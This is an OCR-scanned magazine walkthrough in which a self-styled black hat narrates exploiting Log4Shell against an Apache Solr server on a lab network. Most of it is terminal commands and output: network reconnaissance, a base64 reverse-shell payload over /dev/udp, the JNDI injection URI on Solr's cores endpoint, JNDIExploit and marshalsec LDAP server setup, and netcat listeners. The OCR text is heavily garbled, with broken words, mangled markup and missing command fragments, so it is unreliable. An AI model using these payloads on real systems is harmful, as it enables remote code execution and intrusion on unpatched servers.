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Editor's Note
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“ALL VERSIONS OF SAMBA PRIOR TO 4.13.17 ARE VULNERABLE TO AN OUT-OF-
BOUNDS HEAP READ WRITE VULNERABILITY THAT ALLOWS REMOTE ATTACKERS TO
EXECUTE ARBITRARY CODE AS ROOT ON AFFECTED SAMB#A INSTALLATIONS THAT
USE THE VFS MODULE VFS_FRUIT"
- MAINTAINERS OF SAMB 4.
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& A Scenario of how Apache Log4shell hacking Works In Real World bk

REAL WORLD HACKING SCENARIO y

/ As soon as log4j vulnerability was published, researchers at Check Point "\
observed over one hundred attacks per minute trying to exploit that vulnerability. This
resulted in over 40% of worldwide business networks being targeted. Several botnets
like Mirai, Tsunami and XMRig were also scanning for servers vulnerable to the
Log4j vulnerability.
Manmy state sponsored hacking groups took interest in exploiting this vulnembz’liéy.
Cyber criminals are trying to install ransomware, cryptocurrency miners and Cobalt

Strike payloads after exploiting. 4

Hi, I am Hackercool, called as Black Hat by many although I consider myself a script kiddie. As
Log4shell ravaged across the internet, I refused to stay behind although I was a bit less interested
in the vulnerability. There is no strong reason for being disinterested in this vulnerability other
Ehan I have an anathema towards Java programming language.

This anathema maybe resulted in my disinterest towards anything related to Java. You may
Elink this is too miniscule a reason for a hacker to be disinterested in a hack but you should note

hat even hackers are humans with likes and dislikes. Finally, after some time when my passion to
ack took over whatever disinterest I had, I began searching for targets to hack.

Good thing was there were a wide range of targets to choose from, Bad thing is I had very scant
|experience in most of these targets. After much deliberation, I chose Solr as my target. However,
Solr was not my first choice as I wanted to target Apache Struts as they are more in number and
here is greater chance of finding a vulnerable target.

L | apache solr log4shell - Google Search - Mozilla Firefox

@ apache solr logdshell 1

€->Ce O G google.com

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter [| Offensive Security Exploit-DB GHDB || MSFU

G’ —@‘J e apache solr logdshell x Q, 13]
Apache Solr; Apache Solr releases prior 1o 7. ProductfApplication/Plug-ins: Deschniption
lenkins: Although Jenkins Core is not affecte MetApp: Multiple NetApp products are vuln
hitps:ifsolr.apache.org » guide » configuring-logging
Configuring Logging | Apache Solr Reference Guide 6.6
Salr logs are a key way to know what's happening in the system. There are several ways (o
adjust the default logging configuration. In addition to the logging

Temporary Logging Settings - Choosing Log Level at Startup

hitps:/solr.apache.org » news

Solr News

An Improper Input Validation vulnerability in DataimportHandler of Apache Solr allows an
attacker 1o provide a Windows UNC path resulting in an SMB network
https:fisolr.apache.org » security

Solr™ Security News
E aft through Apache Solr's DIH's dataConfig request parameter — 2021-12-10, Apache

Solr affected by Apache Log4) CVE-2021-44228 Y. Severiy

https: /e youtube.com » waich
234 views - YouTube

Hi, Log4sShell is the Critical Vulnenability found in Apache Log4)

But the version of Apache Struts to target raised confusion in me. Some versions of Struts received
Ifixes by upgrading the Log4j module. After dilly dallying in that confusion for some time, I chose




o target Apache Solr because that was the one about which I knew a little.
The first place to research about a vulnerability in any software is definitely its website. So
[ first visited the security news section of Apache Solr.

Security News - Apache Selr - Mozilla Firefox

Cx Q F 0 B Ora i-__'

Kali Linux Kali Training Kal s = Kali Docs (ali Fo MetHunter || ENsiV curity - it-DB GHDB | MSFU

FEATURES RESOURCES COMMUNITY PROJECT SOLR OPERATOR | DOWNLOAD

Solr” Security News

How to report a security issue

If you believe you have discovered a vulnerability in Solr, you may first want to consult the list of known false positives
to make sure you are reporting a real vulnerability. Then please disclose responsibly by following these ASF guidelines
for reporting.

You may file your request by email to security@solr.apache.org.

More information

You will find more security related information on our Wiki: https://cwiki.apache.org/confluence/display

JSOLR/SolrSecurity, such as information on how to treat the automated reports from security scanning tools.

Recent CVE reports for Apache Solr

As I was going through their security announcements, I found CVE-2021-44228. This was the
vulnerability ID given to Apache Log4shell.
- BT TmL" |J W Solr™ Security News - A kali@kali:

Ly

Solr™ Security News - Apache Solr - Mozilla Firefox

apache.org E

Kali Forums MNetHunter || Offensive Security B GHDB || MSFU

NEWS FEATURES RESOURCES COMMUNITY PROJECT SOLR OPERATOR | DOWNLOAD I
Below is a list of already announced CVE vulnerabilities. These are also available as an ATOM feed:

CVE=# Date Announcement

CVE-2021-44548 2021-12-18 Apache Soir information disclosure vulnerability through DatalmportHandler

I CVE-2021-44228 2021-12-10 Apache Solr affected by Apache Log4) CVE-2021-44228

CVE-2021-27905 2021-04-12 SSRF vulnerability with the Replication handler

lied Zookeeper ACLS can result in leakage of configured authentication and authorization

CVE-2021-29262 2021-04-12

CVE-2021-29943 2021-04-12 Apache Solr Unprivileged users may be able to perform unauthorized read/write to collections
CVE-2020-13957 2020-10-12 The checks added to unauthenticated C{J:'!T:'gf.—'_'[ uploads in Apache Solr can be circumvented
CVE-2020-13941 2020-08-14 Apache Solr information disclosure vulnerability
CVE-2019-17558 2019-12-30 Apache Solr RCE through VelocityResponseWriter
CVE-2019-12409 2019-11-18 Apache Solr RCE vulnerability due to bad config default
CVE-2019-12401 2019-09-09 XML Bomb in Apache Solr versions prior to 5.0

2019-08-14 [ANNOUNCE] 8.1.1 and 8.2.0 users check ENABLE_REMOTE_JMX_OPTS seltting

CVE-2019-0193 2019-07-31 Apache Solr, Remote Code Execution via DataimportHandler

As soon as I clicked on the hyperlink, I found the versions of Apache Solr affected.




.ﬁ . | e | l ] &b Solr™ Security News - A.. [ kali@kali: ~

=) Solr™ Security News - Apache Solr - Mozilla Firefox

Solr™ Security News - 4. X

&« ¢ @ © @ ht apache.org

Kali Linux Kali Training Kali Tools = Kali Docs Kali Forums NetHunter [ Offensive Security Exploit-DB GHDB || MSFU

SOl.r NEWS FEATURES RESOURGCES COMMUNITY PROJECT SOLR OPERATOR

Severity: Critical

Versions Affected: 7.4.0to 7.7.3, 8.0.0 to 8.11.0 Il

Description: Apache 5Solr releases prior to 8.11.1 were using a bundled version of the Apache Log4] library vulnerable

to RCE. For full impact and additional detail consult the Log4) security page.

Apache Solr releases prior to 7.4 (i.e. Solr 5, Solr 6, and Solr 7 through 7.3) use Log4) 1.2.17 which may be vulnerable
for installations using non-default logging configurations that include the |MS Appender, see https://github.com/apache

ogging-logdj2/pull/608#issuecomment-990494126 for discussion.
Solr's Prometheus Exporter uses Logd] as well but it does not log user input or data, so we don't see a risk there.

Solr is not vulnerable to the followup CVE-2021-45046 and CVE-2021-45105. A listing of these and other CVEs with

some justifications are listed in Solr's wiki: https:/fcwiki.apache.org/confluence/display/SOLR/SolrSecurity #SolrSecurity-

ndVulnerabilityScanningTools

Mitigation: Any of the following are enough to prevent this vulnerability for Solr servers:

» Upgrade to Solr 8.11.1 or greater (when available), which will include an updated version (>= 2.16.8) of the Log4]
dependency.

L PP TSP alt N PP - i B P PP H = T o ik H ol Ll i Lk TR, el s Diocloos

As I read through the description, I soon realised that users need to update their version of Solr to
the release 8.11.1 since this versions is bundled with the unaffected version of Apache Log4j. So
any versions prior to that should be vulnerable as per my understanding.

As per a habit I recently acquired, I booted up my attacker operating system (Kali Linux
2020.4) and created a new directory named log4shell to store all files related to this hacking oper-
ation inside it.

log4shell

Log4shell
~/log4shell

hen I began scanning the network for machines with port 8983 open. Why port 89837 This is the
default port where HT'TP instance of Solr runs on.

~/log4shell
192.168.36.172-200
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 05:48 EST
Nmap done: 29 IP addresses (0 hosts up) scanned in 4.41 seconds

~/log4shell

After some time I found one system.




~/logdshell’
192.168.36.201-250
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 05:49 EST
Nmap scan report for 192.168.36.226
Host 1s up (0.0068s Llatency).

PORT STATE SERVICE
8983/tcp open unknown

Nmap done: 50 IP addresses (1 host up) scanned 1n 4.40 seconds

~/logdshell

hen I used the verbose scan of Nmap to detect the service running on port 8983 (there might be
other services running on this port).

~/1log4shell
5 192.168.36.226
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 05:53 EST
Nmap scan report for 192.168.36.226
Host is up (0.00071s latency).

PORT STATE SERVICE VERSION
8983/tcp open http Apache Solr

Service detection performed. Please report any incorrect results at https:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.80 seconds

o i '~/1log4shell’

The version intensity option of Nmap allows pen testers to set the intensity for detecting the
service. "-version-intensity 0" is the lowest and "-version-intensity 9" is the highest. When I set
the level to 9, I get more information about the service.

~/logd4shell!’

9 192.168.36.226
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 05:54 EST
Nmap scan report for 192.168.36.226
Host is up (0.00087s latency).

PORT STATE SERVICE VERSION

8983/tcp open http Apache Solr

| http-title: Solr Admin

| Requested resource was http://192.168.36.226:8983/solr/




hen I try to find the operating system of the target.

'~/logdshell]

| _ 192.168.36.226
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 05:55 EST
Nmap scan report for 192.168.36.226

Host is up (0.00093s latency).

PORT STATE SERVICE VERSION

8983/tcp open http Apache Solr

| http-title: Solr Admin

| Requested resource was http://192.168.36.226:8983/solr/

MAC Address: 00:0C:29:0B:E4:F4 (VMware)

Warning: 0SScan results may be unreliable because we could not find at lea
st 1 open and 1 closed port

Device tvpe:. aeneral purpose

Running: Linux 4.X|5.X

0S CPE: cpe:/o:linux:linux kernel:4 cpe:/o:linux:linux kernel:5
0S details: Linux 4.15 - 5.6

Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.94 ms 192.168.36.226

0S and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.54 seconds

he "-os-scan" option of Nmap detected the target operating system as Linux 4.x | 5.x but the
result also said the detection may be unreliable. Let’s first take the usual route I take for all web
applications. So I tried nikto first.

~/1logd4shell/nse-1log4shell
. http://192.168.36.226:8983
- Nikto v2.1.6

Target IP: 192.168.36.226

Target Hostname: 192.168.36.226

Target Port: 8983

Start Time: 2022-01-26 06:06:50 (GMT-5)

Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the
user agent to protect against some forms of XSS




+ The i-Contenf-Type-Opiions header is not set. This could allow the user
agent to render the content of the site in a different fashion to the MIME
type

+ Root page / redirects to: http://192.168.36.226/solr/

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ 0SVDB-39272: /favicon.ico file identifies this app/server as: jetty (5.1
.14)

+ /solr/#/: Apache Solr console found

+ /917 requests: 0 error(s) and 5 item(s) reported on remote host

+ End Time: 2022-01-26 06:07:25 (GMT-5) (35 seconds)

Nikto did not give any new information other than the information I already know. Whatweb eve-
n with aggressive mode did not give any information.

'~/log4shell/nse-log4shell]
192.168.36.226:8983 127 x

[302 Found] Country[RESERVED][ZZ], IP[192.168.3

6.226], RedirectLocation[http://192.168.36.226:8983/solr/]
[200 OK] Country[RESERVED][ZZ], IP[192.16
8.36.226], JQuery[3.5.1], Script, Title[Solr Admin], UncommonHeaders[conte
nt-security-policy,x-content-type-options], X-Frame-Options[SAMEORIGIN, DE

NY], X-UA-Compatible[IE=9], X-XSS-Protection[1l; mode=block]

~/1log4shell/nse-1logd4shell

3/192.168.36.226:8983
[302 Found] Country[RESERVED][ZZ], IP[192.168.3
6.226], RedirectLocation[http://192.168.36.226:8983/solr/]
[200 OK] Country[RESERVED][ZZ], IP[192.16
8.36.226], JQuery[3.5.1], Script, Title[Solr Admin], UncommonHeaders[conte
nt-security-policy,x-content-type-options], X-Frame-Options[SAMEORIGIN, DE
NY], X-UA-Compatible[IE=9], X-XSS-Protection[1l; mode=block]

—

Then I tried Dirb tool to see if I can find any interesting directories. After much directory
searching, I did not find anything important .

"The threat actor used 'free productivity apps installation' or 'free software
development tools installation' themes as SEO keywords to lure
victims to a compromised website and
to download a malicious installer."

- Researchers at Mandiant about the latest SEO poisoning attack.




http://192.168.36.226:8983

DIRB v2.22
By The Dark Raver

START TIME: Wed Jan 26 06:10:57 2022
URL _BASE: http://192.168.36.226:8983/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612
---- Scanning URL: http://192.168.36.226:8983/ ----
+ http://192.168.36.226:8983/apl (CODE:200|SIZE:161)

+ http://192.168.36.226:8983/favicon.ico (CODE:200|SIZE:1150)
+ http://192.168.36.226:8983/v2 (CODE:200|SIZE:161)

END TIME: Wed Jan 26 06:11:02 2022
DOWNLOADED: 4612 - FOUND: 3

DIRB v2.22
By The Dark Raver

START TIME: Wed Jan 26 06:11:29 2022
URL BASE: http://192.168.36.226:8983/v2/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612




GENERATED WORDS: 4612
---- Scanning URL: http://192.168.36.226:8983/v2/ ----
+ http://192.168.36.226:8983/v2/c (CODE:500|SIZE:4241)

+ http://192.168.36.226:8983/v2/cluster (CODE:500|SIZE:4228)
+ http://192.168.36.226:8983/v2/node (CODE:200|SIZE:299)

END TIME: Wed Jan 26 06:11:38 2022
DOWNLOADED: 4612 - FOUND: 3

DIRB v2.22
By The Dark Raver

START TIME: Wed Jan 26 06:12:16 2022
URL BASE: http://192.168.36.226:8983/v2/node/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.36.226:8983/v2/node/ ----

http://192.168.36.226:8983/v2/node/files (CODE:200|SIZE:74)
http://192.168.36.226:8983/v2/node/health (CODE:400|SIZE:305)
http://192.168.36.226:8983/v2/node/logging (CODE:200|SIZE:39850)
http://192.168.36.226:8983/v2/node/properties (CODE:200|SIZE:3048)
http://192.168.36.226:8983/v2/node/system (CODE:200|SIZE:2888)
http://192.168.36.226:8983/v2/node/threads (CODE:200|SIZE:45034)




http://192.168.36.226:8983/solr/admin

DIRB v2.22
By The Dark Raver

START TIME: Wed Jan 26 06:15:58 2022

URL BASE: http://192.168.36.226:8983/solr/admin/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612
---- Scanning URL: http://192.168.36.226:8983/solr/admin/ ----

+ http://192.168.36.226:8983/solr/admin/authentication (CODE:200|SIZE:107)
+ http://192.168.36.226:8983/solr/admin/authorization (CODE:200|SIZE:106)
+ http://192.168.36.226:8983/solr/admin/configs (CODE:400|SIZE:290)

END TIME: Wed Jan 26 06:16:06 2022
DOWNLOADED: 4612 - FOUND: 3

I want readers to notice one thing here. Nikto, Whatweb and Dirb are the most popular tools I
used in many of my previous hacking operations. However, these tools are designed for web serv-
ers which are way more popular. Even though Apache Solr has a HT'TP instance, this is not a
typical web server. Hence all these tools fell flat here. You need to use the tool based on the target

ou have.

Let me show you a tool which s inbuilt in Kali: Lwp-Request. Lwp-Request is a simple
command line user-agent which can be used to send requests to WWW servers and your local file
system. Methods like POST, GET and PUT can be used to request content from a www server.

e can directly assign a method to request data from the server.

"It 1s a prime example of groups that aren't very advanced technologically,
however, with specific motivations, are becoming more dangerous
as they evolve over time and test their tools and
procedures on their targets."

- Researchers Asheer Malhotra and Ventura on Arid Viper Hacking Group.

A




GET http://192.168.36.226:8983 255 x
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.0rg/TR/ht
ml4/strict.dtd">
<html ng-app="solrAdminApp" ng-csp>
<!l--

Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.

The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

<head>
<title>Solr Admin</title>

<link rel="icon" type="image/x-icon" href="img/favicon.ico? =8.9.0">
<link rel="shortcut 1con" type="1image/x-icon" href="img/favicon.1ico? =8.
9.0">

) <link Eel=“stylesheet" type="text/css" href="css/angular/angular-csp.css
'z?izkﬂr:1=“stylesheet" type="text/css" href="css/angular/common.css? =8.
g.gliqk rel="stylesheet" type="text/css" href="css/angular/analysis.css? =
B'Ei?ni'rel=“stylesheet" type="text/css" href="css/angular/cloud.css? =8.9
'G<iink rel="stylesheet" type="text/css" href="css/angular/cores.css? =8.9
.G<{ink rel="stylesheet" type="text/css" href="css/angular/collections.css

?'z?i2k0r21=“stylesheet" type="text/css" href="css/angular/dashboard.css?
=8é?i2kirel="stylesheet" type="text/css" href="css/angular/dataimport.css?
_=?i?ﬁﬁ ?el=”stylesheet" type="text/css" href="css/angular/files.css? =8.9
.Z<Tink rel="stylesheet" type="text/css" href="css/angular/index.css? =8.9
B




<meta http-equiv="x-ua-compatible" content="IE=9">
<script src="libs/jquery-3.5.1.min.js"></script>
<script src="libs/chosen.jquery.min.js"></script>
<script src="libs/jstree.min.js"></script>

<script src="libs/angular.min.js"></script>

<script src="libs/angular-chosen.min.js"></script>
<script src="libs/angular-resource.min.js"></script>
<script src="libs/angular-route.min.js"></script>
<script src="libs/angular-cookies.min.js"></script>
<script src="libs/ngtimeago.js"></script>

<script src="libs/highlight.js"></script>

<script src="libs/d3.js"></script>

<script src="libs/jquery-ui.min.js"></script>

<script src="libs/anqgular-utf8-base64.min.js"></script>
<script src="js/angular/app.js"></script>

<script src="js/angular/services.js"></script>

<script src="js/angular/controllers/index.js"></script>
<script src="js/angular/controllers/login.js"></script>

<div id="wrapper" scrollable-when-small>
<div 1d="header">
<a href="#/" id="solr"><span>Apache SOLR</span></a>

</div>

solr"><span>IRC Channel</span></a></11>

<li class="mailinglist"><a href="http://wiki.apache.org/solr/Usi
ngMailingLists"><span>Community forum</span></a></l1i>

<li class="wiki-query-syntax"><a href="https://lucene.apache.org
/solr/quide/query-syntax-and-parsing.html"><span>Solr Query Syntax</span><
Ja></11i>

</ul>
</div>
</div>
</div>

</body>
</html>




As you can see in highlighted portion of the images, this request inadvertently leaked the version
of Solr running. Let’s further confirm it by requesting the properties.

— http://192.168.36.226:8983/solr/admin/info/properties
{
"responseHeader": {
"STAatus™ o,
"QTime":1},
"system.properties":{
"solr.default.confdir":"/opt/solr/server/solr/configsets/ default/conf

"java.runtime.name" :"OpenJDK Runtime Environment",
"java.vm.version":"11.0.13+8-Ubuntu-Qubuntul.18.04",
"sun.boot.library.path”:"/usr/l1b/jvm/java-11-openjdk-amd64/1ib",
"java.vm.vendor":"Ubuntu",
"java.vendor.url":"https://ubuntu.com/",

“"path.separator":":",

"java.vm.name":"OpenJDK 64-Bit Server VM",
"sun.os.patch.level":"unknown",

"sun.java. launcher":"SUN STANDARD",

"user.country":"US",

"java.vm.specification.name":"Java Virtual Machine Specification",
"user.dir":"/opt/solr-8.9.0/server",
"java.vm.compressedOopsMode":"32-bit",
"java.runtime.version":"11.0.13+8-Ubuntu-0Oubuntul.18.04",
"solr.log.dir":"/var/solr/logs"™,
"java.awt.graphicsenv":"sun.awt.X11lGraphicsEnvironment",
"os.arch":"amd64",

"Java.lo.tmpdir":"/tmp",

"line.separator":"\n",
"java.vm.specification.vendor":"Oracle Corporation",
"solr.log.muteconsole":"",

"STOP.KEY":"solrrocks",

"os.name":"Linux",

"solr.data.home":"",

"sun.jnu.encoding":"UTF-8",
"java.specification.name":"Java Platform API Specification",
"jetty.home":"/opt/solr/server",
"jetty.version":"9.4.41.v20210516",
"sun.management.compiler":"HotSpot 64-Bit Tiered Compilers",
"os.version":"4.15.0-156-generic",
"jetty.build":"98607193c7833e7dc59489b13f3cb0all4fb9f4c”,
"user.home":"/var/solr",

"user.timezone":"UTC",
"java.awt.printerjob":"sun.print.PSPrinterJob",
"file.encoding":"UTF-8",
"solr.jetty.inetaccess.excludes":"",




"java.specification.version":"11",
"log4j.configurationFile":"/var/solr/log4j2.xml",
"solr.solr.home":"/var/solr/data",
"user.name":"solr",
"java.class.path":"start.jar",
"jetty.base":"/opt/solr-8.9.0/server",
"java.vm.specification.version":"11",
"sun.arch.data.model":"64",
"sun.java.command":"start.jar --module=http",

"awt.toolkit":"sun.awt.X11l.XToolkit",
"java.vm.1info":"mixed mode, sharing",
"java.version”:"11.06.13",
"java.vendor":"Ubuntu",
"file.separator":"/",
"java.version.date":"2021-10-19",
"java.vendor.url.bug":"https://bugs. launchpad.net/ubuntu/+source/openj
dk-1ts",
"solr.jetty.inetaccess.includes":"",
"STOP.PORT":"7983",
"sun.lo.unicode.encoding":"UnicodeLittle",
"sun.cpu.endian":"little",
"solr.install.dir":"/opt/solr",
"zookeeper.jmx.log4j.disable":"true",
"jetty.tag.version":"jetty-9.4.41.v20210516",
"jetty.port”:"8983",
"sun.cpu.isalist":""}}

This gave more information about the target. The target is having Solr 8.9.0 installed and the
target operating system is Ubuntu 18.04 which is a bit old. I even have the privileges solr instance
is running with. It’s running as user “Solr”. The installation directory is public too. Rest of the inf-
ormation I got here can prove useful in privilege escalation in later stages of this hacking operatio-
n. But first I need to gain access to the target. So I go exploit searching.

I decided to use presumably the first exploit that was developed for this vulnerability. The
[ranians state hacking groups used the same exploit in one of their hacking operations. The exploi
t is not available from its original source. However, I have the provided the download informatio-
n for this exploit. It’s a Java based exploit. After extracting the exploit into a directory, I navigated
into that directory.

'~/1log4shell]
Log4shell INDIExploit

~/1log4shell/Logd4shell JNDIExploit

INDIExploit-1.2-SNAPSHOT.jar JNDIExploit.vl.2.zip README . md




[ have to create payload first to execute on the target after the exploit is run. So I decided to use a
reverse shell payload as shown below.

c2ggLWkgPiYgL2R1di91ZHAVMTKyYLJE20C4zNi4XNzEVODMXNSAWP1YXID4vdGIwL2YK

start the LDAP server and listener.

~/log4shell/Log4shell INDIExploit
JNDIExploit-1.2-SNAPSHOT. jar 192.168.36.1/71 8888

Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswilng.aatext=t
rue

[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...

- 8315
listening on [any] 8315 ...

Next, it’s time to trigger the payload. It’s here we have to append the base64 format of the payloa-
d (as explained in November 2021 Issue).

http://192.168.36.226:8983

ut nothing happened.

8315
listening on [any] 8315 ...




~/logdshell/Log4shell INDIExploit!
- JNDIExploit-1.2-SNAPSHOT. jar 192.168.36.171 8888
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=t
rue
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...

fter trying few more times I decided to check if the target is indeed vulnerable. I decided to use
Metasploit for this.

msfé > search log4]

Matching Modules

Disclosure Date Rank
Description

auxiliary/scanner/http/log4shell scanner 2021-12-09 normal N
Log4Shell HTTP Scanner

msf6 auxiliary(scanner/http/logd4shell scanner) > set rhosts 192.168.36.226

rhosts => 192.168.36.226

msf6é auxiliary(scanner/http/logdshell scanner) > set rport 8983

rport => 8983

msf6 auxiliary(scanner/http/logd4shell scanner) > set srvhost 192.168.36.17

1

srvhost => 192.168.36.171

msf6é auxiliary(scanner/http/logdshell scanner) > set srvport 1389

srvport => 1389

msf6 auxiliary(scanner/http/logdshell scanner) > |}
|

msf6 auxiliary(scanner/http/logd4shell scanner) > run

[+] 192.168.36.226:8983 - Log4Shell found via_/solr/admin/cores?action=C
REATE&wt=] son&name=%24%7bjndi%3aldap%3a/192.168.36.171%3al1389/zugpxzh7kkrg
327ufm59/%24%7bsys%3ajava.vendors7d %24%7bsys%3ajava.version%7d%s7d (java:
Ubuntu 11.0.13)

Scanned 1 of 1 hosts (100% complete)

Sleeping 30 seconds for any last LDAP connections

Auxiliary module execution completed
msf6 auxiliary(scanner/http/log4shell scanner) > |}

The module found log4shell vulnerability on the target. Thank GOD. But why isn’t the exploit
orking? At first, I thought I was using a wrong header. All over internet, the header being used




to induce logging while exploiting log4shell is “X-Api-Version”. Also all over internet, the targets
ere not Solr. So I decided to check as to what header the Metasploit module used.
All the headers used by Metasploit module are stored in a text file. This file location is
specified by the headers option of the Metasploit module.

msf6 auxiliary(scanner/http/logdshell scanner) > show options

Module options (auxiliary/scanner/http/log4shell scanner):

Name

HEADERS FILE

HTTP_METHOD
LDAP TIMEOUT

LDIF FILE
Proxies

Here it is.

Current Setting

/usr/share/metasp
loit-framework/da
ta/exploits/CVE-2
021-44228/http he
aders.txt

GET

30

Required Description

File contalning headers to
check

The HTTP method to use
Time 1in seconds to wait to
receive LDAP connections

Directory LDIF file path
A proxy chain of format ty

| /usr/shake/metasploit-framework/data/exploits/CVE-2021-44228/http

headers. txt
Authorization
Cache-Control
Cf-Connecting ip
Client-Ip
Contact

Cookie
Forwarded-For-Ip
Forwarded-For
Forwarded
If-Modified-Since
Originating-Ip
Referer
True-Client-Ip
User-Agent
X-Api-Version
X-Client-Ip
X-Forwarded-For
X-Leakix
X-0riginating-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Wap-Profile




I tried all of these headers but nothing worked. In the same directory where this headers file is
stored, there was another file named http_uris.txt. I opened it just out of curiosity.

— 1t /usr/share/metasploit-framework/data/exploits/CVE-2021-44228/http
uris.txt

# Apache Struts2

/struts/utils.js

# Apache Solr

/solr/admin/cores?action=CREATE&wt=]json&name=%${jndi:uri}

# VMWare VCenter

/websso/SAML2/550/vsphere. local ?7SAMLRequest=

— i
Here, I got the URL for Apache Solr. So, it’s not the header that was going wrong but the URI.

After some trial and error, I found a way to trigger the exploit successfully.

{

"responseHeader":{
SERES Y,
"QTime":7},
"initFailures":{},
"status":{
"first":{
"name":"first",
"instanceDir":"/var/solr/data/first",
"dataDir":"/var/solr/data/first/data/",
"config":"solrconfig.xml",
"schema": "managed-schema",
"startTime":"2022-01-21T13:41:58.9527",

"uptime" :96953,
"index":{
"numDocs":0,
"maxDoc":0,
"deletedDocs":0,
"indexHeapUsageBytes":0,
"version":2,
"segmentCount”:0,
"current”:true,
"hasDeletions":false,
"directory":"org.apache. lucene.store.NRTCachingDirectory:NRTCachin
gDirectory(MMapDirectory@/var/solr/data/first/data/index lockFactory=org.a
pache.lucene.store.NativeFSLockFactory@639d77e3; maxCacheMB=48.0 maxMergeS




he payload is triggered and the communication went to LDAP server.

|~/log4shell/Log4shell JINDIExploit
—$ java JNDIExploit-1.2-SNAPSHOT. jar 192.168.36.171 8888
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=t
rue
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Recelved LDAP Query: Basic/Command/Base64/c2gglLWkgPiYgL2R1d191ZHAVMTKky
LjE20C4zN14xNzEvODMXNSAwWP1YXxID4vdGlwL2YK
[+] Paylaod: command
[+] Command: sh -1 >& /dev/udp/192.168.36.171/8315 0>&1 >/tmp/f

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/c2gglLWkgPiYgL
2R1d191ZHAVMTKYLjE20C4zNi4xNzEvVODMXNSAwWP1YXxID4vdG1lwL2YK with basic remote
reference payload

[+] Send LDAP reference result for Basic/Command/Base64/c2gglLWkgPiYgL2R1di
91ZHAVMTKyYLjE20C4zN1i4xNzEvODMXNSAwWP1YxID4vdGlwL2YK redirecting to http://1
92.168.36.171:8888/ExploitzKbDPpr4TD.class

But I still failed to get a reverse shell.

8315
listening on [any] 8315 ...

[ tried it a few more times but nothing came out of it. I tried to send the LDAP query directly to
the Netcat listener and was successful in getting reverse shell. (Note that this shell is useless).

{
"“responseHeader":{
"Status” 0,
"QTime" :6},
"initFailures":{},
"status":{
“TArstT ¢
"name":"first",
"instanceDir":"/var/solr/data/first",
"dataDir":"/var/solr/data/first/data/",
"config":"solrconfig.xml",
"schema":"managed-schema",
"startTime":"2022-01-21T13:41:58.952Z",
"uptime" :94458,




—

- 8315
listening on [any] 8315 ...
connect to [192.168.36.171] from (UNKNOWN) [192.168.36.226] 60430

0

\q

So, the target is indeed vulnerable and reverse shell can be triggered. It seems the LDAP server is
unable to forward the request to the payload. After some pondering, I decided to use a different
payload and LDAP server altogether.

I opted for LDAP server by mbechler marshalsec. (Download info given in our Downloads

section too).

' ~/logdshell
clone https://github.com/mbechler/marshalsec
Cloning into 'marshalsec'...
remote: Enumerating objects: 168, done.
remote: Counting objects: 100% (13/13), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 168 (delta 6), reused 3 (delta 0), pack-reused 155
Recelving objects: 100% (168/168), 474.52 KiB | 3.02 MiB/s, done.
Resolving deltas: 100% (85/85), done.

'~/log4shell’

ou will need maven to run it. You can install maven as shown below.

~/logd4shell/marshalsec
-~ install maven

Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

The following packages were automatically installed and are no longer requ

ired:
guile-3.0-1ibs libglade2-0

Use 'sudo apt autoremove' to remove them.

The following additional packages will be installed:
libaopalliance-java libapache-pom-java libatinject-jsr330-api-java
libcdi-api-java libcommons-cli-java libcommons-10-java
libcommons-lang3-java libcommons-parent-java
libgeronimo-annotation-1.3-spec-java
libgeronimo-interceptor-3.0-spec-java libguava-java libguice-java
libhawtjni-runtime-java libjansi-java libjansi-native-java
libjsr305-java libmaven-parent-java libmaven-resolver-java
libmaven-shared-utils-java libmaven3-core-java libplexus-cipher-java




Maven is an automation and management tool used to build projects. Once maven is installed
let’s build the LDAP server.

~/logd4shell/marshalsec

clean package 1 x
up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=t

Scanning for projects...

M (default-clean) @ n
Deleting /home/kall/log4shell/marshalsec/target

rget/marshalsec-0.0.3-SNAPSHOT-all.jar, it will become the file for main p

roject artifact.
NOTE: If multiple descriptors or descriptor-formats are provided for this

project, the value of this file will be non-deterministic!

[WARNING] Replacing pre-existing project main-artifact file: /home/kali/lo
g4shell/marshalsec/target/marshalsec-0.0.3-SNAPSHOT. jar

with assembly file: /home/kali/log4shell/marshalsec/target/marshalsec-0.0.

3-SNAPSHOT-all.jar

